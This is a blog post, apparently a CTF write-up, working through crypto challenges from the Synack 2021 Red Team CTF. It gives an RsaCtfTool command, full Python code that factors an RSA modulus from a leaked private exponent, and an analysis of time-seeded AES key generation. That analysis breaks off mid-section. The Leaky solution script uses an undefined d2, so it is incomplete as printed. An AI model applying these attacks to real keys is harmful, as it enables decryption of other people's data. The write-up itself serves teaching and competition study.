<li>[5] <a href="https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java">Critical RCE Vulnerability: log4j - CVE-2021-44228</a></li>
</ul>
<hr />
<p>Photo by <a href="https://unsplash.com/@brookanderson?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Brook Anderson</a> on <a href="https://unsplash.com/s/photos/climbing?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a></p>Pepe BerbaOverview of blog seriesSynack 2021 Open Invitational CTF Crypto Writeup2021-11-08T00:00:00+00:002021-11-08T00:00:00+00:00https://pberba.github.io/crypto/2021/11/08/synack-redteam-invitational-ctf<h3 id="introduction">Introduction</h3>
<p>Recently, I participated in 2021 Synack Red Team Five Open Invitational CTF . I was able to finish all 25 challenges and placed 14th out of 333 teams.</p>
<p>It’s a bummer I didn’t get into the top 10 to get the HTB VIP subscriptions, but better luck next time.</p>
<p><img src="/assets/posts/20211108/00_results.png" alt="" /></p>
<p>As of now, I’ll only have time to have a writeup of the crypto challenges. For this CTF there are 4 challenges which:</p>
<ul>
<li><strong>Weak RSA (Super Easy):</strong> Basic attacks when the modulo N has known factors</li>
<li><strong>Leakeyd (Easy):</strong> How to factor module N with private key of RSA (known expondents e and d)</li>
<li><strong>Spy (Easy):</strong> Classic meet-in-the-middle attack similar to Triple DES with some guessing/fuzzing needed to find the plaintext.</li>
<li><strong>Suspicious Signing (Medium/Hard):</strong> The server’s ECDSA’s nonce is based on the message’s MD5 hash. Sending two messages with hash collision will trick the server into reusing a nonce. Which allows us to use the well known ECDSA nonce reuse attack.</li>
</ul>
<p>For raw files of the challenges, you can find them in <a href="https://github.com/pberba/ctf-solutions/tree/master/20211107-synack">pberba/ctf-solutions</a></p>
<h3 id="crypto-challenges">Crypto Challenges</h3>
<h4 id="weak-rsa-225-points-157-solves">Weak RSA (225 points, 157 solves)</h4>
<h5 id="problem">Problem</h5>
<p>In this you are just given:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">pubkey.pem</code>: RSA public key file</li>
<li><code class="language-plaintext highlighter-rouge">flag.enc</code>: an encrypted flag.</li>
</ul>
<h5 id="solution">Solution</h5>
<p>When these are all that is given in CTF competitions, it should be clear that it is really trying to “crack” the RSA public key to recover the private key.</p>
<p>For these types of questions, always to use <a href="https://github.com/Ganapati/RsaCtfTool">RsaCtfTool</a> which has a suite of well known attacks on weak RSA keys. If it fails, then we can start analyzing the problem deeper.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/opt/RsaCtfTool/RsaCtfTool.py --publickey "pubkey.pem" --uncipherfile flag.enc
</code></pre></div></div>
<h4 id="leaky-440-points-44-solves">leaky (440 points, 44 solves)</h4>
<h5 id="problem-1">Problem</h5>
<p>You are given the following source code</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">getPrime</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">math</span> <span class="kn">import</span> <span class="n">gcd</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">().</span><span class="n">encode</span><span class="p">()</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">getPrime</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">getPrime</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">p</span> <span class="o">*</span> <span class="n">q</span>
<span class="n">e1</span> <span class="o">=</span> <span class="mh">0x10001</span>
<span class="n">e2</span> <span class="o">=</span> <span class="mh">0x13369</span>
<span class="k">print</span><span class="p">(</span><span class="n">e1</span><span class="p">,</span> <span class="n">e2</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">gcd</span><span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="n">e1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">gcd</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">e1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">gcd</span><span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="n">e2</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">gcd</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">e2</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span>
<span class="n">phi</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">d1</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">phi</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"""Retrieved agent data:
n = </span><span class="si">{</span><span class="n">n</span><span class="si">}</span><span class="s">
e = </span><span class="si">{</span><span class="n">e1</span><span class="si">}</span><span class="s">
d = </span><span class="si">{</span><span class="n">d1</span><span class="si">}</span><span class="s">"""</span><span class="p">)</span>
<span class="n">ct</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">bytes_to_long</span><span class="p">(</span><span class="n">flag</span><span class="p">),</span> <span class="n">e2</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"""Spy messages:
e = </span><span class="si">{</span><span class="n">e2</span><span class="si">}</span><span class="s">
ct = </span><span class="si">{</span><span class="n">ct</span><span class="si">}</span><span class="s">"""</span><span class="p">)</span>
</code></pre></div></div>
<p>And the output of this message.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Retrieved agent data:
n = 13382530295713917123015356265347321094256226566257623545889573061147938007171086142592829334764528434702825531635566369283255332692678671260069812638573184350572810970644394853227367978599113205187410151008372135364394060295976954722797560959041525038250922497629995447141186387045145641624575553004116393538045115640382007521177506372844356599515221123769808759792921557288910541261662071330605482964244218808384883839567178211155363863011452476524600201011039875767940325127282609196357565459539854467622590648672354346990722180911082058098493886116049202007545709584770864598362673608862923836981014279206273097017
e = 65537
d = 11569455444932772576648367415079245594982518040054082958680004127416877055866142769229969703359760929755598958930190874633423572023464427060332872186341753191857337442586174582207855332582641194737450361411604871225045984226459287130693565601375936121842940123452710408534497128602222588204605057938374149336484991344046184969452360503325068483025278799356513681880021469192847751113510298088839230617951595758843109007278029595681232283778797485901135862107038739149351060518772094867682593519162349240597142862357240797932956424470777291496596508787661226345849862222655652073745922761860271975329314656555016312713
Spy messages:
e = 78697
ct = 4461852328415864419743101452420387961651156933673863713694420947402421429869721670364426655092362407263142072234174378248471219392117855386367222894744130407609532370830178750575600387702022233241268782964579737764081573978397550577590335855096601816184948403341545535505335757184765869011562485472974997984468216491217981788679749360213892759733091674873206632032015518889157979003123181968736952658371579666643477038906444823824649861271863876401740198790710014620615022343576676868923683803704170440327497263852960257492740456717562069360762813846260931117680928543379201453514283942164106220549947266176556883803
</code></pre></div></div>
<h5 id="solution-1">Solution</h5>
<p>For this, we have two RSA keys, <code class="language-plaintext highlighter-rouge">K1</code> and <code class="language-plaintext highlighter-rouge">K2</code> that have a common modulo <code class="language-plaintext highlighter-rouge">N</code>. We are given the private key of <code class="language-plaintext highlighter-rouge">K1</code> through the value of <code class="language-plaintext highlighter-rouge">d1</code></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">d1</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">phi</span><span class="p">)</span> <span class="c1"># private key of K1
</span></code></pre></div></div>
<p>It is important to realize that if you have the value of <code class="language-plaintext highlighter-rouge">e1</code>, <code class="language-plaintext highlighter-rouge">d1</code>, and <code class="language-plaintext highlighter-rouge">N</code>, it is enough to help you factorize <code class="language-plaintext highlighter-rouge">N</code> into <code class="language-plaintext highlighter-rouge">p</code> and <code class="language-plaintext highlighter-rouge">q</code>. Of course, with <code class="language-plaintext highlighter-rouge">p</code> and <code class="language-plaintext highlighter-rouge">q</code>, finding the private key of <code class="language-plaintext highlighter-rouge">K2</code> (which also uses the same <code class="language-plaintext highlighter-rouge">N</code>, <code class="language-plaintext highlighter-rouge">p</code> and <code class="language-plaintext highlighter-rouge">q</code>) should be trivial.</p>
<p>If you do not know how to do this, you would need to google something like “RSA Prime Factorization with Private Key” which leads you to a <a href="https://math.stackexchange.com/questions/634862/rsa-prime-factorization-for-known-public-and-private-key">stackexchange forum post</a>.</p>
<h5 id="review-of-rsa">Review of RSA</h5>
<p>Recall these three fundamental equations from RSA</p>
\[N = pq \tag{1}\]
\[(p-1)(q-1) = \phi \tag{2}\]
\[d_1 \equiv e_1^{-1} \mod \phi \tag{3}\]
<p>We express <code class="language-plaintext highlighter-rouge">(3)</code> as equality with some integer <code class="language-plaintext highlighter-rouge">k</code></p>
\[d_1 \equiv e_1^{-1} \mod \phi\]
\[d_1 * e_1 \equiv 1 \mod \phi\]
\[d_1 * e_1 = 1 + k * \phi\]
\[d_1 * e_1 - 1 = k * \phi\]
\[d_1 * e_1 - 1 = k * \phi\]
\[\frac{d_1 * e_1 - 1}{\phi} = k \tag{4}\]
<p>How do we find <code class="language-plaintext highlighter-rouge">k</code> if <code class="language-plaintext highlighter-rouge">phi</code> is unknown? Well we know that since <code class="language-plaintext highlighter-rouge">p</code> and <code class="language-plaintext highlighter-rouge">q</code> are large, then</p>
<p>\((p-1)(q-1) \approx p * q\)
\(\phi \approx N\)</p>
<p>Therefore we can approximate k from <code class="language-plaintext highlighter-rouge">(4)</code> using <code class="language-plaintext highlighter-rouge">N</code>, which we know,</p>
\[\frac{d_1 * e_1 - 1}{N} \approx k \tag{5}\]
<p>Since <code class="language-plaintext highlighter-rouge">phi < N</code> then <code class="language-plaintext highlighter-rouge">K</code>, and if <code class="language-plaintext highlighter-rouge">N</code> is large enough, then K is most probably <code class="language-plaintext highlighter-rouge">ceil(d_1 * e_1 - 1 / N)</code>.</p>
<p>In python, we can find this using</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">k</span> <span class="o">=</span> <span class="p">(</span><span class="n">e1</span><span class="o">*</span><span class="n">d1</span><span class="p">)</span> <span class="o">//</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span>
<span class="k">assert</span> <span class="p">(</span><span class="n">e1</span> <span class="o">*</span> <span class="n">d1</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="n">k</span> <span class="o">==</span> <span class="mi">0</span> <span class="c1"># To check that we are correct
</span></code></pre></div></div>
<p>Now that we have <code class="language-plaintext highlighter-rouge">K</code>, <code class="language-plaintext highlighter-rouge">N</code>, <code class="language-plaintext highlighter-rouge">e1</code> and <code class="language-plaintext highlighter-rouge">e2</code>, we have a system of two equations with only two unknowns, <code class="language-plaintext highlighter-rouge">p</code> and <code class="language-plaintext highlighter-rouge">q</code>.</p>
\[N = pq \tag{1}\]
\[d_1 * e_1 - 1 = k * (p-1) * (q-1)\]
<p>Two equations and two unknowns? This is high school algebra.</p>
<p>Here are some of my scratch notes from this</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># First we find (p+q)
</span><span class="n">e1</span><span class="o">*</span><span class="n">d1</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="n">k</span> <span class="o">+</span> <span class="mi">1</span>
<span class="p">(</span><span class="n">e1</span> <span class="o">*</span> <span class="n">d1</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="n">k</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="p">(</span><span class="n">e1</span> <span class="o">*</span> <span class="n">d1</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="n">k</span> <span class="o">=</span> <span class="n">p</span><span class="o">*</span><span class="n">q</span> <span class="o">-</span> <span class="n">q</span> <span class="o">-</span> <span class="n">p</span> <span class="o">+</span> <span class="mi">1</span>
<span class="p">(</span><span class="n">e1</span> <span class="o">*</span> <span class="n">d1</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="n">k</span> <span class="o">=</span> <span class="n">N</span> <span class="o">-</span> <span class="n">q</span> <span class="o">-</span> <span class="n">p</span> <span class="o">+</span> <span class="mi">1</span>
<span class="p">(</span><span class="n">e1</span> <span class="o">*</span> <span class="n">d1</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="n">k</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">-</span> <span class="n">N</span> <span class="o">=</span> <span class="o">-</span> <span class="n">q</span> <span class="o">-</span> <span class="n">p</span>
<span class="n">p</span> <span class="o">+</span> <span class="n">q</span> <span class="o">=</span> <span class="n">N</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">-</span> <span class="p">(</span><span class="n">e1</span> <span class="o">*</span> <span class="n">d1</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="n">k</span> <span class="o">=</span> <span class="n">X</span>
<span class="c1"># Then we use isolate `p and substitute it in N = pq
</span><span class="n">p</span> <span class="o">=</span> <span class="n">X</span> <span class="o">-</span> <span class="n">q</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">q</span> <span class="o">*</span> <span class="p">(</span><span class="n">X</span> <span class="o">-</span> <span class="n">q</span><span class="p">)</span>
<span class="mi">0</span> <span class="o">=</span> <span class="n">X</span><span class="o">*</span><span class="n">q</span> <span class="o">-</span> <span class="n">q</span><span class="o">*</span><span class="n">q</span> <span class="o">-</span> <span class="n">n</span>
<span class="n">q</span><span class="o">*</span><span class="n">q</span> <span class="o">-</span> <span class="n">X</span><span class="o">*</span><span class="n">q</span> <span class="o">+</span> <span class="n">n</span> <span class="o">=</span> <span class="mi">0</span>
<span class="c1"># Quadratic equation
</span></code></pre></div></div>
<p>The python code to compute this is</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">X</span> <span class="o">=</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">-</span> <span class="p">(</span><span class="n">e1</span><span class="o">*</span><span class="n">d1</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">//</span> <span class="n">k</span>
<span class="n">a</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">X</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">n</span>
<span class="n">p</span> <span class="o">=</span> <span class="o">-</span><span class="p">(</span><span class="o">-</span><span class="n">b</span> <span class="o">+</span> <span class="n">gmpy2</span><span class="p">.</span><span class="n">isqrt</span><span class="p">(</span><span class="n">b</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="mi">4</span><span class="o">*</span><span class="n">a</span><span class="o">*</span><span class="n">c</span><span class="p">))</span> <span class="o">//</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">a</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">n</span> <span class="o">//</span> <span class="n">p</span>
<span class="c1"># Always sense check values
</span><span class="k">assert</span> <span class="n">n</span> <span class="o">%</span> <span class="n">p</span> <span class="o">==</span> <span class="mi">0</span>
<span class="k">assert</span> <span class="p">(</span><span class="n">p</span><span class="o">*</span><span class="n">q</span><span class="p">)</span> <span class="o">==</span> <span class="n">n</span>
<span class="k">assert</span> <span class="n">isPrime</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">isPrime</span><span class="p">(</span><span class="n">q</span><span class="p">)</span>
</code></pre></div></div>
<p>With <code class="language-plaintext highlighter-rouge">p</code> and <code class="language-plaintext highlighter-rouge">q</code> you should be able to find the private key of <code class="language-plaintext highlighter-rouge">k2</code> and decrypt the flag.</p>
<h5 id="full-solution">Full Solution</h5>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">gmpy2</span>
<span class="kn">from</span> <span class="nn">math</span> <span class="kn">import</span> <span class="n">gcd</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">isPrime</span><span class="p">,</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">inverse</span>
<span class="n">n</span> <span class="o">=</span> <span class="mf">13382530.</span><span class="p">..</span>
<span class="n">e1</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">d1</span> <span class="o">=</span> <span class="mf">115694.</span><span class="p">..</span>
<span class="n">e2</span> <span class="o">=</span> <span class="mi">78697</span>
<span class="n">ct</span> <span class="o">=</span> <span class="mf">4461852.</span><span class="p">..</span>
<span class="c1"># Step 0 find k
</span><span class="n">k</span> <span class="o">=</span> <span class="p">(</span><span class="n">e1</span><span class="o">*</span><span class="n">d1</span><span class="p">)</span> <span class="o">//</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span>
<span class="k">assert</span> <span class="p">(</span><span class="n">e1</span> <span class="o">*</span> <span class="n">d1</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="n">k</span> <span class="o">==</span> <span class="mi">0</span>
<span class="c1"># Step 1 find p and q
</span><span class="n">X</span> <span class="o">=</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">-</span> <span class="p">(</span><span class="n">e1</span><span class="o">*</span><span class="n">d1</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">//</span> <span class="n">k</span>
<span class="n">a</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">X</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">n</span>
<span class="n">p</span> <span class="o">=</span> <span class="o">-</span><span class="p">(</span><span class="o">-</span><span class="n">b</span> <span class="o">+</span> <span class="n">gmpy2</span><span class="p">.</span><span class="n">isqrt</span><span class="p">(</span><span class="n">b</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="mi">4</span><span class="o">*</span><span class="n">a</span><span class="o">*</span><span class="n">c</span><span class="p">))</span> <span class="o">//</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">a</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">n</span> <span class="o">//</span> <span class="n">p</span>
<span class="k">assert</span> <span class="n">n</span> <span class="o">%</span> <span class="n">p</span> <span class="o">==</span> <span class="mi">0</span>
<span class="k">assert</span> <span class="p">(</span><span class="n">p</span><span class="o">*</span><span class="n">q</span><span class="p">)</span> <span class="o">==</span> <span class="n">n</span>
<span class="k">assert</span> <span class="n">isPrime</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="k">assert</span> <span class="n">isPrime</span><span class="p">(</span><span class="n">q</span><span class="p">)</span>
<span class="c1"># Step 2 decrypt flag
</span><span class="n">phi</span> <span class="o">=</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">pt</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">ct</span><span class="p">,</span> <span class="n">d2</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">pt</span><span class="p">))</span>
<span class="c1"># HTB{tw4s_4-b3d_1d34_t0_us3-th4t_m0dulu5_4g41n-w45nt_1t...}
</span></code></pre></div></div>
<h4 id="spy-475-points-26-solves">spy (475 points, 26 solves)</h4>
<h5 id="problem-2">Problem</h5>
<p>Here is the source code given but I have removed some code to make it more readable.</p>
<p>Some things to look at:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">keygen</code> function, how many bytes are truly random?</li>
<li>In encryption, AES is doubled but is key strength doubled?</li>
</ul>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="n">BIT_SIZE</span> <span class="o">=</span> <span class="mi">256</span>
<span class="n">BYTE_SIZE</span> <span class="o">=</span> <span class="mi">32</span>
<span class="p">...</span>
<span class="k">def</span> <span class="nf">keygen</span><span class="p">():</span>
<span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">BYTE_SIZE</span><span class="p">)</span>
<span class="n">h</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="n">BIT_SIZE</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">BIT_SIZE</span><span class="p">):</span>
<span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">())</span>
<span class="n">h</span> <span class="o">=</span> <span class="n">h</span> <span class="o">^</span> <span class="n">random</span><span class="p">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">BIT_SIZE</span><span class="o">/</span><span class="n">BYTE_SIZE</span><span class="p">)</span>
<span class="k">return</span> <span class="nb">hex</span><span class="p">(</span><span class="n">h</span><span class="p">)[</span><span class="mi">2</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">key1</span><span class="p">,</span> <span class="n">key2</span><span class="p">):</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key1</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">ct</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">pad</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key2</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">ct</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">ct</span><span class="p">)</span>
<span class="k">return</span> <span class="n">ct</span>
<span class="p">...</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="c1">#message = [REDUCTED]
</span> <span class="c1">#flag = [REDUCTED]
</span>
<span class="n">key1</span> <span class="o">=</span> <span class="n">keygen</span><span class="p">()</span>
<span class="n">key2</span> <span class="o">=</span> <span class="n">keygen</span><span class="p">()</span>
<span class="n">key1</span> <span class="o">=</span> <span class="n">key1</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="n">key2</span> <span class="o">=</span> <span class="n">key2</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="n">ct_message</span> <span class="o">=</span> <span class="n">encrypt</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">key1</span><span class="p">,</span> <span class="n">key2</span><span class="p">)</span>
<span class="n">ct_flag</span> <span class="o">=</span> <span class="n">encrypt</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="n">key1</span><span class="p">,</span> <span class="n">key2</span><span class="p">)</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'packet_6.txt.enc'</span><span class="p">,</span> <span class="s">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">ct_message</span><span class="p">))</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'flag.txt.enc'</span><span class="p">,</span> <span class="s">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">ct_flag</span><span class="p">))</span>
</code></pre></div></div>
<p>You are given the ciphertext as well as sample plaintexts for the packets.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Plantext packet 3:
'''
Report Day 49:
Mainframe: Secure
Main Control Unit: Secure
Internal Network: Secure
Cryptographic Protocols: Secure
'''
Plantext packet 4:
'''
Report Day 50:
Mainframe: Secure
Main Control Unit: Secure
Internal Network: Secure
Cryptographic Protocols: Secure
'''
Plantext packet 5:
'''
Report Day 51:
Mainframe: Secure
Main Control Unit: Secure
Internal Network: Secure
Cryptographic Protocols: Insecure
'''
</code></pre></div></div>
<h5 id="key-generation">Key Generation</h5>
<p>Look at the code for key generation</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">keygen</span><span class="p">():</span>
<span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">BYTE_SIZE</span><span class="p">)</span>
<span class="n">h</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="n">BIT_SIZE</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">BIT_SIZE</span><span class="p">):</span>
<span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">())</span>
<span class="n">h</span> <span class="o">=</span> <span class="n">h</span> <span class="o">^</span> <span class="n">random</span><span class="p">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">BIT_SIZE</span><span class="o">/</span><span class="n">BYTE_SIZE</span><span class="p">)</span>
<span class="k">return</span> <span class="nb">hex</span><span class="p">(</span><span class="n">h</span><span class="p">)[</span><span class="mi">2</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</code></pre></div></div>
<p>Notice that the initial value of <code class="language-plaintext highlighter-rouge">h</code> is <em>not random</em> since the seed is static.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">BYTE_SIZE</span><span class="p">)</span>
<span class="n">h</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="n">BIT_SIZE</span><span class="p">)</span>
</code></pre></div></div>
<p>Also, notice that the code in the loop only modifies the last 16 bits of <code class="language-plaintext highlighter-rouge">h</code></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">h</span> <span class="o">=</span> <span class="n">h</span> <span class="o">^</span> <span class="n">random</span><span class="p">.</span><span class="n">getrandbits</span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">BIT_SIZE</span><span class="o">/</span><span class="n">BYTE_SIZE</span><span class="p">)</span> <span class="c1"># only touches the last 16 bits of h
</span></code></pre></div></div>
<p>Therefore, we only have to brute force 16 bits per key.</p>
<h5 id="double-aes--triple-des">Double AES / Triple DES</h5>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">key1</span><span class="p">,</span> <span class="n">key2</span><span class="p">):</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key1</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">ct</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">pad</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
